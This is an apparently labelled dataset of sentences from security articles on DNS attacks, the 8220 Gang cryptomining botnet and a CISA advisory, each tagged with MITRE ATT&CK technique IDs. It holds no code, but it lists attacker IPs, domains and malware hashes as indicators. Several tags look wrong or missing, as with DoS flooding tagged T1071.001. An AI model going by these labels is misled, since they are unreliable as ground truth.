{"sentence": "In DNS poisoning, threat actors replace the DNS records to redirect unsuspecting users to malicious destinations.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Then, DNS spoofing redirects unsuspecting users to the malicious website using a poisoned cache.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "To prevent a DNS poisoning attack, we should:Use DNSSEC, which uses public key cryptography.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "This ensures that only a legitimate DNS nameserver answers a request with the correct DNS information.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Prevent local DNS servers from answering internet-based DNS queries — unless our DNS nameserver is registered with ICANN.DoS/DDoS/floodingDNS flooding is an attack by which malicious actors try to overwhelm DNS servers with false DNS requests to prevent them from serving legitimate requests.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "There are two types of DNS flood attacks: denial of service (DoS) flooding and distributed denial of service (DDoS) flooding.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "DoS flood attackIn a DoS flood attack, the attacker uses one computer to flood a remote DNS server with false traffic.", "labels": ["T1071.001"], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "This technique is no longer effective because modern DNS servers have advanced technical specifications that one device cannot disrupt.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "DDoS DNS flood attackThe DDoS DNS flood is the most effective attack mechanism wherein attackers use many devices to target one DNS server.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "This action consumes the target DNS memory and CPU resources, eventually taking the server offline.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "In cybersecurity, a bot can refer to any computing device, for example, a laptop, workstation, or internet of things (IoT) device infected with malware and under a threat actor’s control.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "A collection of these bots is called a botnet.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Attackers commonly use networks of botnets containing thousands or millions of compromised devices that run malicious scripts.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "The attacker orchestrates the attack by directing all devices to send traffic simultaneously to one server, generating a DoS status.", "labels": ["T1071.001"], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "DNS floods are considered relatively modern, made widely possible by the increasing numbers of IoT devices worldwide.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Many IoT devices have poor security configurations, making them easy targets for hackers to control.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "To prevent DDoS and DoS flood attacks, we should:Use a DDoS mitigation service to prevent outside attackers from overwhelming our DNS servers with false requests.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Use one dedicated server as the authoritative name server and another as the DNS resolver.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "This enables one component to remain operational if the second fails.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Use a dedicated DNS server.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Small and medium-sized organizations often use one server for multiple purposes, such as hosting applications and running the DNS service.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "However, if the attacker accesses one application hosted on the server, they can compromise and alter the DNS settings.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "NXDomainLike a DNS flood attack, the NXDomain attack overwhelms the target DNS server with many requests for invalid records (nonexistent domain names).", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "To execute this attack, attackers use a DNS proxy server that automatically sends a massive number of DNS requests to the targeted authoritative DNS server.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "The authoritative server consumes resources (fills the server cache) in resolving these invalid requests, making it respond slowly to legitimate requests — and eventually stop responding altogether.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "To prevent the DNS NXD flood attack, we should:Conduct regular DNS audits.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Blocklist suspicious domain names and servers.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Temporarily blocklist a client’s IP address if it sends too many NXDomain requests.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Increase the Time to Live (TTL) on current DNS records to ensure that they’ll remain for an extended time in external DNS caches.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "These records don’t need to be updated regularly.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Amplification attacksThis is another DDoS attack that aims to prevent the target DNS server from serving legitimate DNS queries.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "In this attack, threat actors exploit open DNS servers to send multiple responses to the target server.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Threat actors initiate this attack by sending numerous DNS requests to the open DNS server using the target IP address as the source address.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "The open DNS server returns the response to the requester (in this example, the target spoofed IP address).", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Sending many DNS responses eventually crashes the target server by consuming its network bandwidth and making it unresponsive to legitimate requests.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Attackers commonly leverage botnets, especially on IoT devices, to generate spoofed DNS requests to overwhelm the target servers or organization network with DNS responses.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "To prevent this attack, we should:Enforce source IP verifications on all network devices.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Prevent DNS authoritative name servers from functioning as recursive servers.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Enforce response rate limiting (RRL) settings on all DNS servers.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Configure open DNS resolvers to only respond to queries from a trusted source.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "HijackingIn this attack, threat actors manipulate DNS response queries to direct unsuspecting users to fraudulent or malicious websites.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "This attack occurs by:Installing malware, such as a trojan horse, on the victim’s computer to incorrectly resolve DNS queries and lead the unsuspecting user to malicious sitesCompromising the target router and changing its DNS settings.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "This affects all users connected to the router.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Intercepting the communications between the legitimate DNS server and user device — as in the case of a man-in-the-middle attack — and manipulating DNS responses to lead the unsuspecting user to malicious sitesTargeting the DNS server directly and then changing its DNS settings to lead unsuspecting users to different URLsAlthough", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "this attack is malicious, some internet service providers (ISPs) use this technique to direct users to other websites.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "For example, some ISPs use it to display advertisements based on a user’s browsing history.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "RebindingIn this attack, the threat actor infects the target router with malware to control it remotely.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "The attack begins by executing malicious JavaScript code on a user’s browser to infect the router.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Many people don’t protect their router using a complex password — or just safeguard it using the default factory credentials.", "labels": ["T1078"], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "This leaves them vulnerable to rebinding attacks.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "A good first step toward guarding against rebinding attacks is to protect the router with a strong password.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "We should also:Change the default router username and password to something difficult to guess.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Keep the DNS server and all client operating systems and installed applications up to date.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Tunneling This DNS attack routes unsuspecting user traffic to the attacker’s server.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "This attack is typical among ransomware operators for facilitating communication with the Command and Control Center (C&C) and exfiltrating data from the target device.", "labels": ["T1041"], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "DNS tunneling evades detection by security tools like firewalls.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Threat actors send stolen data from the target network in small chunks and deliver them as a series of DNS queries and responses to avoid detection.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "A DNS tunneling attack works as follows:The attacker has a server with a domain name pointing to it.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "This server runs tunneling malware.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "The attacker infects a computer with malware.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "The infected computer might sit behind a company firewall but can use the DNS resolver.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Now, the DNS resolver can communicate with the remote attacker’s C&C server.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "By doing this, each infected device and the remote attacker’s server have created a covert channel that can be used to exfiltrate data from the victim device or deliver more malware, such as ransomware, to the target device.", "labels": ["T1041", "T1105"], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "To prevent this attack, we should:Use advanced security solutions, including next-generation firewalls on network perimeters and network detection and response (NDR), to monitor all interactions within our IT environment.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "This enables us to detect APT and ransomware operators and halt communications with attackers’ servers.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Configure all devices within an organization’s network to send all their DNS queries to an internal DNS server that blocks suspicious domain names.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Phantom domainIn this attack, the threat actor sets up numerous phantom domain names and requests the target DNS server to resolve them.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "These domains (commonly a large number of sub-domain names) respond very slowly or never.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "After a while, the target DNS server consumes its server cache while waiting for the attacker domain’s responses and eventually becomes unresponsive.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "To prevent this attack, we should:Increase the number of recursive DNS servers.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Limit the number of successive recursive DNS requests on each DNS server.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "ConclusionThe DNS service is a critical component of internet infrastructure.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "It’s responsible for translating users’ domain names into IP addresses that other servers can understand.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "However, it was not made for security.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "With the widespread use of the internet and the growing number of cyberattacks, cybercriminals have become increasingly interested in DNS attacks.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Any attack against the DNS service prevents all internet programs from functioning correctly.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Cybercriminals know this and have developed many ways to attack DNS services for malicious purposes.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "There are several different techniques to attack the DNS service, which we can group into two main categories:Attacks that aim to make the DNS service unavailableAttacks that aim to manipulate the DNS records to lead unaware users to malicious destinationsAs this article has demonstrated, each type of DNS attack requires a different set of countermeasures to mitigate it.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "However, generally speaking, the keys to preventing DNS attacks include keeping the DNC server software up to date, using a dedicated DNS server to provide the DNS service, increasing the number of recursive DNS servers, and checking for vulnerabilities to mitigate DDoS attacks.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "8220 Gang is a low-skill crimeware actor known for infecting cloud hosts through n-day vulnerabilities and remote access brute forcing.", "labels": ["T1110"], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "We have previously detailed how 8220 expanded its botnet and rotated its infrastructure.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Since our last write up in October, the group has again switched to new infrastructure and samples, providing us with an opportunity to share an educational walkthrough of the process of investigating cybercrime activity that may be useful to new or lesser experienced SOC teams, analysts and researchers.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "In this post, we use 8220 Gang activity as a lens through which to explain the process of investigating a threat, researching the threat activity as a whole, and gaining a perspective into attacker objectives, ultimately concluding with a wider understanding of related threat intelligence.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Refresher on 8220 Gang 8220 Gang (pronounced eighty-two twenty), also known as 8220 Mining Group, was first publicly reported by Talos in 2018.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Victims of 8220 Gang are typically, but not exclusively, users of cloud networks operating vulnerable and misconfigured Linux applications and services.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Attacks make use of SSH brute forcing post-infection to automate local and global spreading attempts.", "labels": ["T1110"], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Victims using cloud infrastructure (AWS, Azure, GCP, Aliyun, QCloud) are often infected via publicly accessible hosts running Docker, Confluence, Apache WebLogic, and Redis.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Victims are not targeted geographically but simply identified by their internet accessibility.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Initial Discovery Our walkthrough starts with the initial discovery of an interesting script found on a compromised AWS machine with publicly available SSH service secured with weak credentials.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "For readers not running a honeypot, this initial discovery could have also been observed in the monitoring of new files uploaded to file scanning services like VirusTotal or MalShare.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "For those looking to monitor this group, international SSH honeypots plus VirusTotal YARA rules offer a reliable method of catching new activity as it occurs.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "The script in question has the SHA1 a9da0947243333d95f84f6a0e37b9fc29b2fb054. 8220 Infection Script Snippet We can see it is quite simple in design and built around the process of downloading and setting persistence of some other file.", "labels": ["T1105"], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "With a few string pivots inside VT, or even a few Google searches, we can quickly discover the core functionality of the script has been widely reported on as it has been reused by many amateur cryptocurrency mining groups and opportunistic profit-seeking attackers.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Pivoting on part of the script’s content in VirusTotal Intelligence One example of such reporting is our July 2022 post on 8220 Gang expanding their botnet to roughly 30,000 hosts.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "However, this time the attacker-specific infrastructure is different, and we have not determined if it has delivered similar malware.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Remember, this “infection script” is used by many attackers, and it alone is a very weak source of attribution. 8220 Infection Script Analysis The script goes through a set of instructions, often at multiple levels of encoded commands, aimed at the delivery of setting persistence on the victim machine by downloading itself from malicious servers.", "labels": ["T1027", "T1105"], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "The multiple levels of Base64 encoding attempt to hide the fact that it is also downloading a specific payload as well.", "labels": ["T1027", "T1105"], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "This is first observed under the createservices function.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Infection Script createservices Function One difference that’s quickly apparent to past reporting on the script is that the attacker began adding the lwp-download command as a failover for wget and curl to enable downloading commands.", "labels": ["T1105"], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "We initially observed this activity on January 6th, and since then the actor has continued to standardize it in their infection scripts today.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Sysdig also noted this activity in a recent blog.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Infection Script use of lwp-download The key take away from analyzing these infection scripts is noting unique additions, like lwp–download, combined with the destination of download requests.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "By clustering infection scripts based on function names and order, if the functions are called, and what infrastructure is associated, we can weed out the non-8220 Gang samples.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Additionally, we can link this further based on the encoding quantity and repetition to past 8220 Gang samples.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "For example, in our infection scripts createservices makes use of three base64 encoded echo commands.", "labels": ["T1027"], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "The first command can be decoded into a new script which pings associated attacker infrastructure and then starts a “payload” command. Infection Script’s encoded payload", "labels": ["T1027", "T1140"], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "The payload contains two additional base64 encoded scripts to set permissions, download, and configure miner and IRC bot infections.", "labels": ["T1027", "T1105"], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "This functionality communicates with 194.38.23[.]170.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Post-Infection Activity & Sample Pivots The post infection activity for this and other recent 8220 infection scripts evolve slightly, but generally proceed with infecting the victim with an updated PwnRig cryptocurrency miner and IRC bot.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "In the infection scripts we observed in this campaign, the group continued to use old bash IRC bot “Tsunami”.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "The sample delivered remains unchanged; however, the network it communicates with evolves over campaigns.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "The infection script here delivered 472548a4b8295182f6ba8641d74725c2250b7243 – the Tsunami sample.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "More useful for tracking 8220 Gang are the samples of PwnRig – the custom version of the open source XMRig cryptocurrency miner – that they drop.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "In this campaign, the script downloads the UPX packed sample 38be55f1fc4ce1cb5438236abc5077019e5e1cdf, which unpacks to 332485bd460f55117a254f8164736b90d74aa9f6.", "labels": ["T1027"], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "A characteristic of 8220 Gang is their repeated use of fake miner pool domains themed around the FBI.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Here, we see this theme again through the use of the malicious domain fbi.su1001-2[.]top.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Infrastructure Analysis Tracking 8220 Gang is aided somewhat by their failures in infrastructure OPSEC.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Since the beginning of what the industry calls “8220 Gang” the primary method of attribution has been reused infrastructure and identification of newly associated infrastructure.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "While this technique alone does not link the actor with certainty, it remains reliable when combined with the previously noted linkability around malware samples delivered.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "During our initial investigation in January, the group was using 185.106.94[.]146, and dw.bpdeliver[.]ru for malware download location post-infection such as in their infection script.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Anyone looking into this group should pivot on all subdomains associated with the actor-controlled domain, in addition to all DNS history of malicious IPs to identify a wider set of the malicious activity.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "For example, the recent dw.bpdeliver[.]ru host resolved to 79.137.203[.]156 during the initial deployment of the script.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "More activity of 8220 Gang scripts can be found calling directly to this IP rather than the domain.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "The same goes for 185.106.94[.]146, which is called by IP in the script, and which at the time resolved to jira.letmaker.top, a widely reported known 8220 Gang domain.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Overall, the group is clumsy and unsophisticated in their infrastructure management, providing a good opportunity for those willing to track the mess or cut their teeth in threat actor investigation.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Our graphic from a previous campaign explains the overlap, which can still be found in this most recent activity.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Visual Context of 8220 Gang Infrastructure Roles Conclusion Tracking and researching 8220 Gang, which has exhibited a lack of operational security, requires a simple understanding of their use of malicious scripts, malware samples, and malicious infrastructure.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "A successful approach to tracking this group can involve monitoring and analyzing malware samples, identifying patterns in their malicious scripts, and mapping out their infrastructure. Indicators of Compromise Indicator Description a9da0947243333d95f84f6a0e37b9fc29b2fb054 8220 Gang Install Script 472548a4b8295182f6ba8641d74725c2250b7243 8220 Gang Bashirc.x86_64 – PackedOld version, “Tsunami” 38be55f1fc4ce1cb5438236abc5077019e5e1cdf 8220 Gang X86_64 – Packed MinerUses fbi.su1001-2[.]top 332485bd460f55117a254f8164736b90d74aa9f6 e2c3e.", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Unpacked, PwnRig Miner 194.38.23.170 8220 Gang Infrastructure – Shared jira.letmaker.top 8220 Gang Infrastructure – Reused 185.106.94.146 8220 Gang Infrastructure dw.bpdeliver.ru 8220 Gang Infrastructure – Recent fbi.su1001-2.top 8220 Gang Infrastructure – Recent 79.137.203.156 8220 Gang Infrastructure", "labels": [], "doc_title": "SOC Team Essentials  How to Investigate and Track the 8220 Gang Cloud Threat"}
{"sentence": "Original release date: November 16, 2022 | Last revised: November 25, 2022SummaryFrom mid-June through mid-July 2022, CISA conducted an incident response engagement at a Federal Civilian Executive Branch (FCEB) organization where CISA observed suspected advanced persistent threat (APT) activity.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "In the course of incident response activities, CISA determined that cyber threat actors exploited the Log4Shell vulnerability in an unpatched VMware Horizon server, installed XMRig crypto mining software, moved laterally to the domain controller (DC), compromised credentials, and then implanted Ngrok reverse proxies on several hosts to maintain persistence.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "CISA and the Federal Bureau of Investigation (FBI) assess that the FCEB network was compromised by Iranian government-sponsored APT actors.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "CISA and FBI are releasing this Cybersecurity Advisory (CSA) providing the suspected Iranian government-sponsored actors’ tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help network defenders detect and protect against related compromises.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "CISA and FBI encourage all organizations with affected VMware systems that did not immediately apply available patches or workarounds to assume compromise and initiate threat hunting activities.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "If suspected initial access or compromise is detected based on IOCs or TTPs described in this CSA, CISA and FBI encourage organizations to assume lateral movement by threat actors, investigate connected systems (including the DC), and audit privileged accounts.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "All organizations, regardless of identified evidence of compromise, should apply the recommendations in the Mitigations section of this CSA to protect against similar malicious cyber activity.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "For more information on Iranian government-sponsored Iranian malicious cyber activity, see CISA’s Iran Cyber Threat Overview and Advisories webpage and FBI’s Iran Threats webpage.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Download the PDF version of this report: pdf, 528 kb.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "For a downloadable copy of the Malware Analysis Report (MAR) accompanying this report, see: MAR 10387061-1.v1.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "For a downloadable copy of IOCs, see: AA22-320A.stix, 1.55 mb.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Technical DetailsNote: This advisory uses the MITRE ATT&CK for Enterprise framework, version 11.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK:registered: tactics and techniques with corresponding mitigation and/or detection recommendations.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
